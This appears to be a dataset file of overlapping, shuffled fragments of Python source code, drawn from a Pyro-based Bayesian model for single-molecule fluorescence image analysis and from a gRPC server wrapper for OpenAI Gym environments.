"f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample(",
"\"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return",
"vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"]",
"), ) # sample hidden model state (1+S,) z_probs = ( Vindex(init)[..., :,",
"@staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x`` whose time",
"the binder molecules. :param K: Maximum number of spots that can be present",
"be present in a single image. :param channels: Number of color channels. :param",
"import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import distributions as dist from",
"K: Maximum number of spots that can be present in a single image.",
":, :] x_y = even_part.reshape( batch_shape + (even_time // 2, 2, state_dim, state_dim)",
"spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self)",
"subsample_size=self.nbatch_size, dim=-2, ) # time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if",
"pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ]",
") pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device),",
"sampling over any sample site in the guide. \"\"\" if self.vectorized: return (",
"learning analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_.",
"1) / (self.S + 1)) ) init = expand_offtarget(init) trans = pyro.sample( \"trans\",",
"): self.vectorized = vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\",",
"(3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx <",
"= _logmatmulexp(x, y) if time > even_time: contracted = torch.cat((contracted, logits[..., -1:, :,",
"fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx,",
"> even_time: new_left_term[..., time - 1 : time, :, :] = left_term[ ...,",
"f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ),",
"y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2,",
"\"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor:",
"def TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based SVI that supports -",
"sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] =",
"there being a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0,",
"pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2",
"lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps,",
"dist.Gamma( (background_mean / background_std) ** 2, background_mean / background_std ** 2, ), )",
"x[..., T-1, :, :] but does so numerically stably in log space. \"\"\"",
"/ 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200,",
") z_prev = None for fdx in frames: if self.vectorized: fsx, fdx =",
"torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F),",
"space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] # up",
"spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs),",
"(((self.data.P + 1) / (2 * proximity)) ** 2 - 1), ), dim=-1,",
"1.5, 2, 0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[...,",
"+ 1) / 2, (self.data.P + 1) / 2, ), ) z_prev =",
"of color channels. :param device: Computation device (cpu or gpu). :param dtype: Floating",
"sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2,",
"= 1, K: int = 2, channels: Union[tuple, list] = (0,), device: str",
"device = self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0,",
".. note:: This model is used for kinetic simulations. Efficient fitting is not",
"pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1,",
"device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 +",
"dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) ) init = expand_offtarget(init) trans =",
"import Union import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from",
"[\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\""
] |
[
"to use. render (bool): the flag to render OpenAI Gym environment or not.",
"timeout_wait (Union[int, float]): the maximum wait time to respond step request to UDE",
"Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] =",
"Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin till UDE",
"KIND, either express or implied. # # See the License for the specific",
"permissions and # # limitations under the License. # ################################################################################# \"\"\"A class for",
"copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # #",
"# limitations under the License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from",
"float]): step invoke period (used only with PERIODIC step_invoke_type) port (Optional[int]): Port to",
"\"\"\" Gym Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str =",
"key and body/chain file, or bytes of the certificate private key and body/chain",
"Name of agent to use. render (bool): the flag to render OpenAI Gym",
"path to certificate private key and body/chain file, or bytes of the certificate",
"or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]):",
"All Rights Reserved. # # # # Licensed under the Apache License, Version",
"channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to",
"OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC)",
"\"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def",
"(used only with PERIODIC step_invoke_type) port (Optional[int]): Port to use for UDE Server",
"distributed under the License is distributed on an \"AS IS\" BASIS, # #",
"# # See the License for the specific language governing permissions and #",
"= \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float]",
"configure the channel. compression (Compression) = channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials,",
"flag to render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type",
"an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only applied when credentials are",
"str = \"CartPole-v0\", agent_name: str = \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType",
"float] = 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment name. agent_name",
"step request to UDE clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter",
"software # # distributed under the License is distributed on an \"AS IS\"",
"(bool): the flag to render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step",
"An optional list of key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure the",
"GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\",",
"PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used only with PERIODIC step_invoke_type) port",
"under the License is distributed on an \"AS IS\" BASIS, # # WITHOUT",
"pairs (:term:`channel_arguments` in gRPC runtime) to configure the channel. compression (Compression) = channel",
"= UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait,",
"Apache License, Version 2.0 (the \"License\"). # # You may not use this",
"# # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"to in writing, software # # distributed under the License is distributed on",
"use for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list of",
"port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start",
"env_name (str): OpenAI Gym Environment name. agent_name (str): Name of agent to use.",
"governing permissions and # # limitations under the License. # ################################################################################# \"\"\"A class",
"step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke",
"kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env",
"List, Tuple, Union, Any, Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression,",
"required by applicable law or agreed to in writing, software # # distributed",
"the Apache License, Version 2.0 (the \"License\"). # # You may not use",
"with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only applied when credentials",
"step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None:",
"to use for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list",
"the channel. compression (Compression) = channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str],",
"the License. # # You may obtain a copy of the License at",
"Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key and body/chain file, or bytes",
"may not use this file except in compliance with the License. # #",
"= UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self)",
"on an \"AS IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name:",
"OF ANY KIND, either express or implied. # # See the License for",
"maximum wait time to respond step request to UDE clients. kwargs: Arbitrary keyword",
"type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used only with",
"are provided). timeout_wait (Union[int, float]): the maximum wait time to respond step request",
"\"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type,",
"channel. compression (Compression) = channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]):",
"keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter)",
"or implied. # # See the License for the specific language governing permissions",
"################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing import Optional, List, Tuple, Union,",
"Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment name.",
"this file except in compliance with the License. # # You may obtain",
"License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required",
"# http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or agreed",
"Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait: Union[int, float] = 60.0,",
"compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] =",
"ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter",
"compression (Compression) = channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials,",
"language governing permissions and # # limitations under the License. # ################################################################################# \"\"\"A",
"for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list of key-value",
"# Licensed under the Apache License, Version 2.0 (the \"License\"). # # You",
"of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # #",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or",
"and body/chain to use with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key",
"till UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin()",
"\"\"\" Args: env_name (str): OpenAI Gym Environment name. agent_name (str): Name of agent",
"the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless",
"UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin() if",
"in gRPC runtime) to configure the channel. compression (Compression) = channel compression type",
"Args: env_name (str): OpenAI Gym Environment name. agent_name (str): Name of agent to",
"# # # Licensed under the Apache License, Version 2.0 (the \"License\"). #",
"file except in compliance with the License. # # You may obtain a",
"# # limitations under the License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\"",
"def stop(self) -> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) ->",
"= channel compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path",
"when credentials are provided). timeout_wait (Union[int, float]): the maximum wait time to respond",
"################################################################################# # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # #",
"UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs",
"an \"AS IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"to use with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only applied",
"License, Version 2.0 (the \"License\"). # # You may not use this file",
"Reserved. # # # # Licensed under the Apache License, Version 2.0 (the",
"compression type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate",
"\"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None: \"\"\" Spin till",
"the flag to render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke",
"name. agent_name (str): Name of agent to use. render (bool): the flag to",
"\"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] =",
"Licensed under the Apache License, Version 2.0 (the \"License\"). # # You may",
"IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"= True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int]",
"agent to use. render (bool): the flag to render OpenAI Gym environment or",
"step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used",
"# # You may not use this file except in compliance with the",
"http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or agreed to",
"(Optional[int]): Port to use for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An",
"to configure the channel. compression (Compression) = channel compression type (default: NoCompression) credentials",
"step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\"",
"writing, software # # distributed under the License is distributed on an \"AS",
"# # # # Unless required by applicable law or agreed to in",
"not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step",
"type (default: NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private",
"def start(self) -> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self) ->",
"(WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int, float]): step invoke period (used only with PERIODIC",
"= 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression",
"in compliance with the License. # # You may obtain a copy of",
"Optional[str] = None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name (str):",
"agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression,",
"agent_name (str): Name of agent to use. render (bool): the flag to render",
"Rights Reserved. # # # # Licensed under the Apache License, Version 2.0",
"is distributed on an \"AS IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS",
"(the \"License\"). # # You may not use this file except in compliance",
"License. # ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing import Optional, List,",
"list of key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure the channel. compression",
"credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait: Union[int, float]",
"# # # # Licensed under the Apache License, Version 2.0 (the \"License\").",
"True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int] =",
"= None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials,",
"None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym",
"the maximum wait time to respond step request to UDE clients. kwargs: Arbitrary",
"law or agreed to in writing, software # # distributed under the License",
"(default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs (:term:`channel_arguments` in",
"body/chain to use with an SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only",
"self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period,",
") from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self,",
"Iterable[bytes]]] = None, auth_key: Optional[str] = None, timeout_wait: Union[int, float] = 60.0, **kwargs):",
"applicable law or agreed to in writing, software # # distributed under the",
"GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options,",
"OpenAI Gym Environment name. agent_name (str): Name of agent to use. render (bool):",
"authentication key (only applied when credentials are provided). timeout_wait (Union[int, float]): the maximum",
"Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\", render:",
"grpc.ServerCredentials, the path to certificate private key and body/chain file, or bytes of",
"with the License. # # You may obtain a copy of the License",
"bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port:",
"Any]]] = None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None,",
"time to respond step request to UDE clients. kwargs: Arbitrary keyword arguments for",
"You may obtain a copy of the License at # # # #",
"terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start() gym_env.spin() if __name__ ==",
"timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment",
"render (bool): the flag to render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType):",
"\"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE",
"Union[int, float] = 120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None,",
"\"License\"). # # You may not use this file except in compliance with",
"clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render)",
"SSL-enabled Channel. auth_key (Optional[str]): channel authentication key (only applied when credentials are provided).",
"# # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law",
"# # Licensed under the Apache License, Version 2.0 (the \"License\"). # #",
"Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter",
"**kwargs) def start(self) -> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self)",
"def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\", render: bool =",
"step invoke period (used only with PERIODIC step_invoke_type) port (Optional[int]): Port to use",
"arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server",
"for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name, render=render) self._ude_env = UDEEnvironment(ude_env_adapter=self._adapter) self._ude_server =",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # #",
"Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # # #",
"bytes of the certificate private key and body/chain to use with an SSL-enabled",
"the path to certificate private key and body/chain file, or bytes of the",
"# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # #",
"Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env = GymEnvRemoteRunner() gym_env.start()",
"render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs",
"# Unless required by applicable law or agreed to in writing, software #",
"the License for the specific language governing permissions and # # limitations under",
"Channel. auth_key (Optional[str]): channel authentication key (only applied when credentials are provided). timeout_wait",
"Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs (:term:`channel_arguments`",
"UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) ->",
"typing import Optional, List, Tuple, Union, Any, Iterable from ude import ( UDEEnvironment,",
"agent_name: str = \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period:",
"float]): the maximum wait time to respond step request to UDE clients. kwargs:",
"self._ude_server = UDEServer(ude_env=self._ude_env, step_invoke_type=step_invoke_type, step_invoke_period=step_invoke_period, port=port, options=options, compression=compression, credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def",
"Environment name. agent_name (str): Name of agent to use. render (bool): the flag",
"Optional, List, Tuple, Union, Any, Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType,",
"to render OpenAI Gym environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER",
"str = \"agent0\", render: bool = True, step_invoke_type: UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int,",
"= None, auth_key: Optional[str] = None, timeout_wait: Union[int, float] = 60.0, **kwargs): \"\"\"",
"credentials=credentials, auth_key=auth_key, timeout_wait=timeout_wait, **kwargs) def start(self) -> None: \"\"\" Start UDE Server. \"\"\"",
"environment or not. step_invoke_type (const.UDEStepInvokeType): step invoke type (WAIT_FOREVER vs PERIODIC) step_invoke_period (Union[int,",
"with PERIODIC step_invoke_type) port (Optional[int]): Port to use for UDE Server (default: 3003)",
"optional list of key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure the channel.",
"PERIODIC step_invoke_type) port (Optional[int]): Port to use for UDE Server (default: 3003) options",
"of the certificate private key and body/chain to use with an SSL-enabled Channel.",
"only with PERIODIC step_invoke_type) port (Optional[int]): Port to use for UDE Server (default:",
"( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object):",
"3003) options (Optional[List[Tuple[str, Any]]]): An optional list of key-value pairs (:term:`channel_arguments` in gRPC",
"# You may not use this file except in compliance with the License.",
"(Optional[str]): channel authentication key (only applied when credentials are provided). timeout_wait (Union[int, float]):",
"self._ude_server.start() def stop(self) -> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self)",
"import Optional, List, Tuple, Union, Any, Iterable from ude import ( UDEEnvironment, UDEServer,",
"start(self) -> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None:",
"<reponame>aws-deepracer/ude-gym-bridge ################################################################################# # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. #",
"Gym Environment \"\"\" def __init__(self, env_name: str = \"CartPole-v0\", agent_name: str = \"agent0\",",
"affiliates. All Rights Reserved. # # # # Licensed under the Apache License,",
"Port to use for UDE Server (default: 3003) options (Optional[List[Tuple[str, Any]]]): An optional",
"2.0 (the \"License\"). # # You may not use this file except in",
"Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str] = None,",
"NoCompression) credentials (Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key and",
"None: \"\"\" Spin till UDE Server terminates. \"\"\" self._ude_server.spin() def main(): gym_env =",
"None, compression: Compression = Compression.NoCompression, credentials: Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]] = None, auth_key: Optional[str]",
"compliance with the License. # # You may obtain a copy of the",
"# You may obtain a copy of the License at # # #",
"60.0, **kwargs): \"\"\" Args: env_name (str): OpenAI Gym Environment name. agent_name (str): Name",
"stop(self) -> None: \"\"\" Stop UDE Server. \"\"\" self._ude_server.close() def spin(self) -> None:",
"distributed on an \"AS IS\" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF",
"UDE clients. kwargs: Arbitrary keyword arguments for grpc.server \"\"\" self._adapter = GymEnvironmentAdapter(env_name=env_name, agent_name=agent_name,",
"express or implied. # # See the License for the specific language governing",
"body/chain file, or bytes of the certificate private key and body/chain to use",
"certificate private key and body/chain to use with an SSL-enabled Channel. auth_key (Optional[str]):",
"Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\"",
"implied. # # See the License for the specific language governing permissions and",
"UDEStepInvokeType = UDEStepInvokeType.WAIT_FOREVER, step_invoke_period: Union[int, float] = 120.0, port: Optional[int] = None, options:",
"not use this file except in compliance with the License. # # You",
"-> None: \"\"\" Start UDE Server. \"\"\" self._ude_server.start() def stop(self) -> None: \"\"\"",
"# ################################################################################# \"\"\"A class for Gym Environment.\"\"\" from typing import Optional, List, Tuple,",
"and body/chain file, or bytes of the certificate private key and body/chain to",
"use. render (bool): the flag to render OpenAI Gym environment or not. step_invoke_type",
"private key and body/chain to use with an SSL-enabled Channel. auth_key (Optional[str]): channel",
"Tuple, Union, Any, Iterable from ude import ( UDEEnvironment, UDEServer, UDEStepInvokeType, Compression, ServerCredentials",
"(Optional[Union[ServerCredentials, Iterable[str], Iterable[bytes]]]): grpc.ServerCredentials, the path to certificate private key and body/chain file,",
"runtime) to configure the channel. compression (Compression) = channel compression type (default: NoCompression)",
"# # # Unless required by applicable law or agreed to in writing,",
"Amazon.com, Inc. or its affiliates. All Rights Reserved. # # # # Licensed",
"agreed to in writing, software # # distributed under the License is distributed",
"import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment \"\"\" def __init__(self, env_name: str =",
"Gym Environment.\"\"\" from typing import Optional, List, Tuple, Union, Any, Iterable from ude",
"of key-value pairs (:term:`channel_arguments` in gRPC runtime) to configure the channel. compression (Compression)",
"UDEStepInvokeType, Compression, ServerCredentials ) from ude_gym_bridge.gym_environment_adapter import GymEnvironmentAdapter class GymEnvRemoteRunner(object): \"\"\" Gym Environment",
"120.0, port: Optional[int] = None, options: Optional[List[Tuple[str, Any]]] = None, compression: Compression =",
"You may not use this file except in compliance with the License. #",
